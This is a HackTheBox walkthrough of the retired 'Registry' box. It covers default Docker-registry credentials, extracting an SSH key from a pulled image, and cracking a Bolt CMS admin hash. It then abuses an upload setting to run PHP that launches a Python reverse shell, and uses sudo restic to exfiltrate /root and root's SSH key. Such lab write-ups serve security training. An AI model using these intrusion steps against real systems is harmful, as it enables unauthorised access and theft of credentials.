Registry just retired on HackTheBox. It was my first hard box and was pretty interesting with real-life scenario like I love. This box shows the importance of understanding how things works “behind the scene” and to read all documentations carefully to not miss anything. I recommend this box for people who finished few medium difficulty boxes and wants to level-up.
Tl;Dr: The user flag consisted in finding an
INSTALL archive containing install instruction and certificate to deploy an online docker registry, this certificate was used on the docker registry running on the box. Using this cert we could connect to the registry API and pull the docker image available on it. Running the docker image locally and doing recon into it allows to find an SSH key along with its passphrase. This key would allow to connect to the
bolt user account and grab the user flag.
The root flag required to access a CMS after brute-forcing the admin password found in a sqlite database. From the CMS we pivot from the
bolt user to
www-data user by exploiting insecure file upload vulnerability. From
www-data a backup software - restic - can be run as sudo without password. Using this software we are able to backup the whole
/root/ folder and restore its content with read privileges for
www-data including the
root.txt flag and a
.ssh/id_rsa key allowing us to get a full shell as root.
Alright! Let’s get into the details now!
First thing first, let’s add the box IP to the host file:
[[email protected] ~]$ echo "10.10.10.171 registry.htb" >> /etc/hosts
and let’s start!
Let’s start with the classic
nmap scan to see which ports are open on the box:
[[email protected] ~]$ nmap -sV -sT -sC registry.htb
22 are open.
One interesting point, the SSL certificate have
common Name. Let’s add it to our host file as it can be useful later:
[[email protected] ~]$ echo "10.10.10.159 docker.registry.htb" >> /etc/hosts
http://regirstry.htb display the default nginx page:
http://docker.registry.htb return empty response:
[[email protected] ~]$ curl -i http://docker.registry.htb/
That’s not much informations here… Let’s run
gobuster to see if we can find more interesting stuff:
[[email protected] ~]$ gobuster dir -u "https://registry.htb/" -w ~/SecLists/Discovery/Web-Content/big.txt -x php -k
The backup endpoint must be used as a script to do…well…backups. It doesn’t return anything either:
[[email protected] ~]$ curl -i registry.htb/backup.php
Next, opening the
install endpoint shows some garbage:
Since we don’t have other endpoint so far let’s investigate a bit more on this last one. First let’s download this page to file:
[[email protected] ~]$ wget http://registry.htb/install
That’s interesting, the
file utility indicate that the
install file is a
gzip archive. Let’s try to extract it. Out of habit I used
[[email protected] ~]$ tar -xzf install
Despite this bad looking error the files seems to have been extracted properly so that’s good:
[[email protected] ~]$ ls -a
Note: Another way to access archive content when the archive seems corrupted it to use
[[email protected] ~]$ zcat install
So we got two files unzipped, a certificate
ca.crt and a readme file
[[email protected] ~]$ cat ca.crt
The readme links to two pieces of documentation:
Deployment of a private docker registry.
Verifying repository client with certificates
These documentation make sense of what we found so far,
docker.registry.htb is probably the API of a private docker registry, while the
ca.crt might be used to connect to the registry securely.
Now that we have an idea of what’s going on
docker.registry.htb let’s make a bit of recon to see what we can do with this instance. First let’s run
gobuster to see if we can find useful endpoints:
[[email protected] ~]$ gobuster dir -u "https://docker.registry.htb/" -w ~/SecLists/Discovery/Web-Content/big.txt -x php -k
/v2 endpoint confirms we are looking at an API. Let’s continue:
[[email protected] ~]$ curl -i docker.registry.htb/v2/
Searching for this error redirect us to the valuable Docker Registry API documentation which will probably be super useful soon:
401 Unauthorizedresponse is returned, the client should take action based on the contents of the “WWW-Authenticate” header and try the endpoint again. Depending on access control setup, the client may still have to authenticate against different resources, even if this check succeeds.
Www-Authenticate that got returned to us indicate we have to authenticate through a
Basic authentication method. We didn’t find any username or password yet so… let’s try the classic
[[email protected] ~]$ curl -i -u admin:admin docker.registry.htb/v2/
Alright! We have access to the Docker API Registry, the next logical step is to see if any docker image is stored on this registry. According to the documentation we can do so using the
Images are stored in collections, known as a repository, which is keyed by a
name, as seen throughout the API specification. A registry instance may
contain several repositories. The list of available repositories is made
available through the catalog.
[[email protected] ~]$ curl -u admin:admin http://docker.registry.htb/v2/_catalog
Great there is indeed an image, let’s pull it to investigate its content:
[[email protected] ~]$ docker pull docker.registry.htb/bolt-image
New error, certificate error…
Remember we found a documentation link and a certificate in the
install archive? Let’s take a look, the solution is surely inside:
A custom certificate is configured by creating a directory under
/etc/docker/certs.dusing the same name as the registry’s hostname, such as
*.crtfiles are added to this directory as CA roots.
Let’s do this with the certificate we got in
[[email protected] ~]$ sudo mkdir -p /etc/docker/certs.d/docker.registry.htb
We are getting closer! Let’s login to the docker using the
[[email protected] ~]$ docker login -u admin -p admin http://docker.registry.htb
Everything should now be in order, let’s pull this damn image:
[[email protected] ~]$ docker pull docker.registry.htb/bolt-image
Looks all good now! We pulled the image and it can be ran locally. We can now start it and get a shell inside, so we can recon for interesting files:
[[email protected] ~]$ docker run -it 601499e98a60 /bin/bash
We have an
.ssh/ folder with private key and a username
registry.htb host. Looks a little too easy but let’s give a try:
Of course it was too easy, the key need a passphrase and we didn’t find any yet… In these situations I usually try to run
john to quickly brute-force the passphrase:
[[email protected] ~]$ ssh2john id_rsa > id_rsa.hash
No luck here. To be honest it took me too much time to find this passphrase but, as usual, recon is always the key to progress and finally:
[email protected]:/# grep -ri "passphrase" 2>/dev/null
ssh-add is a command for adding SSH private keys into the SSH authentication agent for implementing single sign-on with SSH.
As a reminder:
The systemwide initialization file, executed for login shells
When looking in the
/etc/profile we can see that all scripts in
/etc/profile.d/ are executed on login time:
[email protected]:/# cat /etc/profile
We now understand why this
ssh-add command is made on login, the combination of
ssh-add allow the user to connect to any server he is allowed to access without having to type in a password every time when moving between servers.
Well now that we have all the needed informations, let’s try to login to SSH again:
[[email protected] ~]$ ssh -i id_rsa [email protected]
Alright! Now that we have access to
bolt account. It’s time to escalate it to root.
The usual quick recon shows that
bolt user doesn’t seems to hold anything very valuable. Let’s investigate the
/var/www/html/ directory to take a look at this
backup.php file we found during the user recon phase:
[email protected]:/$ cat /var/www/backup.php
Alright so this php file is calling an external command to make backup it seems. The interesting point here is that the command is launched as root using
sudo. That mean if we can find a flaw in the command we can very probably elevate our privileges to root.
bolt user we can not run this command without inputting password. Seeing the
backup.php file we can guess with good confidence that
sudo have been configured to allow the Apache user (
www-data) to run the
sudo backup command without inputing password. This way the
backup.php script can be run automatically through cronjob for example.
So now we need to find a way to pivot to
www-data user to exploit this backup script. Let’s investigate.
While looking in the
/var/www/html/ directory we find a
bolt/ folder. This one was missed by
gobuster during our recon phase.
So what’s this bolt?
https://registry.htb/bolt display an empty sample website:
A quick Google search gives us additional information about what Bolt is:
Bolt is a free, open-source content management system based on PHP. It was released in 2012 and developed by Two Kings and the Bolt community. Bolt uses Twig for templates and includes features for content and user management.
I will add it to my usual recon list to make sure not missing it next time:
[[email protected] ~]$ echo bolt >> ~/SecLists/Discovery/Web-Content/big.txt
Reading through the documentation we can see that the admin interface is available at https://registry.htb/bolt/bolt :
No common password combination seems to work here. No need to loose time brute-forcing, since we have access the app code source through the
bolt ssh user account let’s dig a bit there to see if we can find any interesting config files.
Looking around we quickly stumble across
bolt sqli database in
Let’s take a look inside for juicy information:
[[email protected] ~]$ sqlite3 bolt.db
The first thing that catch the attention is this
bolt_users table. Inside we grab the password hash of user
Let’s try to crack it using
[[email protected] ~]$ john --wordlist=~/SecLists/Passwords/Leaked-Databases/rockyou.txt admin.hash
Bingo! So, we got
Admin:strawberry, using those credentials in the admin login page works.
Looking around at the various settings we quickly come across the “File Management” setting, allowing us to upload file to the server. Sounds good to upload a web shell don’t you think?
First thing to try is to send a
.php file to see if we can execute php on the server:
echo "<?php phpinfo();" > test.php
Unfortunately when trying to upload we receive the following error message:
No php allowed. At this point I tried various way to bypass the file upload restrictions:
- Changing extension (
test.php7since server runs PHP7)
- Content-type bypass
- Double extension (
- Null Character (
- Using GIF89a; header
But didn’t managed to get any of this to work. Searching a bit farther we discover that it’s possible to change the allowed extension list in “Configuration/Main Configuration”. Even though a comment state
.php extension are “never acceptable”, adding it to the list seems to work and let us upload php file:
# Note that certain file-types are never acceptable, even if they are in this list.
The php file is now accessible at
Good, we are on the right track to upload a web shell. Unfortunately it’s not that simple, the uploaded files gets deleted and configuration file reset every 1 minute or so, making it impossible to use a web shell. The good news is we do have an access to the server on ssh as
bolt user, here is how we can proceed to get a stable shell:
- Create a reverse shell script with the
boltaccount on the server
- Upload a
.phpfile executing this script.
This way we get a reverse that will be executed as
www-data and will stay up even after the
.php file gets deleted. Here is one way to do so:
First let’s create the reverse shell script. I will use Python one:
[email protected]:/$ cat /tmp/hg8.py
Now our php file calling this
hg8.py reverse shell:
[[email protected] ~]$ echo '<?php shell_exec("/usr/bin/python /tmp/hg8.py"); ?>' > hg8.php
Finally let’s open our listener:
[[email protected] ~]$ nc -l -vv -p 8585
And let’s redo the process, edit the configuration to allow
.php upload, upload the
hg8.php file and open it!
If everything goes fine and you have been fast enough the connection will open. But it doesn’t… The connection just seem to hang.
The first thing that comes to mind is that a firewall is blocking any connection from outside. Since we have an access on the machine let’s try to open our listener here instead:
[email protected]:/$ nc -l -vv -p 8585
Let’s now recreate our python reverse shell with
registry IP, reupload and run our
[email protected]:/$ nc -l -vv -p 8585
Alright, we now have access to
www-data account. That’s a good progress. Let’s now try to find if and how we could escalate to root privilege.
While doing the usual recon for privilege escalation, we stumble across the backup command we have seem before:
[email protected]:/$ sudo -l
restic command we saw in the
[email protected]:/var/www/html$ cat /var/www/html/backup.php
Let’s check for the documentation of
restic to understand better how it works. According to its website:
restic is a backup program that is fast, efficient and secure. It supports the three major operating systems
So we have a program that can be run as
root manipulating files we can control. Sounds like a perfect scenario for privilege escalation ;)
Let’s break down the
restic command from
backup.php to understand exactly what’s it’s doing :
[email protected]:/$ restic --help
Alright so if we take this command as example:
restic backup -r rest:http://backup.registry.htb/bolt bolt
restic is going to back up the
bolt folder to the distant repository available at
Looking around it seems we can not access nor do anything at
http://backup.registry.htb. But anyway what lays there ? According to the
restic documentation it’s the url of a
restic remote repository. Reading a bit more we can find a tool (
restic-rest-server) to create those remote repositories:
Rest Server is a high performance HTTP server that implements restic’s REST backend API. It provides secure and efficient way to backup data remotely, using restic backup client via the rest: URL.
Seeing this we can understand it’s what is being used on
With all those information in mind we start to understand how we could read files with escalated privileges:
- Setup a local
- Use the following command that
www-datacan run as
/usr/bin/restic backup -r rest:http://our-restic-repo.local /root/
- Navigate to the
resticbackup to grab the flag.
It’s not yet a root shell but it should be good enough to grab the
Alright so that was the idea, let’s see in practice now!
First thing first let’s build the restic
[[email protected] ~]$ git clone https://github.com/restic/rest-server.git && cd rest-server
Let’s now push the binary to the server:
We can now check the documentation to understand how to run it:
[email protected]:/tmp/$ ./rest-server --help
We have all the needed informations so let’s give a try here. First, still according to the documentation, we need to setup the repository folder :
[email protected]:/$ restic init --repo /tmp/hg8-backup
Now we can start the
rest-server with this backup path:
[email protected]:/tmp/$ ./rest-server --path ./hg8-backup --no-auth
Sounds all good for the repository! Let’s now try to backup the
/root/ folder to our backup repository using the
sudo command we are allowed to run without password:
[email protected]:/$ sudo /usr/bin/restic backup -r rest:http://localhost:8000 /root
0 errors that’s good! Now it’s time to access the file we just backup:
[email protected]:/$ restic -r /tmp/hg8-backup/ snapshots
All that remains to do now is retrieving our flag:
[email protected]:/tmp$ cat /tmp/restored-root/root/root.txt
Looking around we can even find the
root account private ssh key and use it to obtain a root shell:
[email protected]:/$ ssh -i /tmp/restored-root/root/.ssh/id_rsa [email protected]
As always do not hesitate to contact me for any questions or feedbacks :)
See you next time !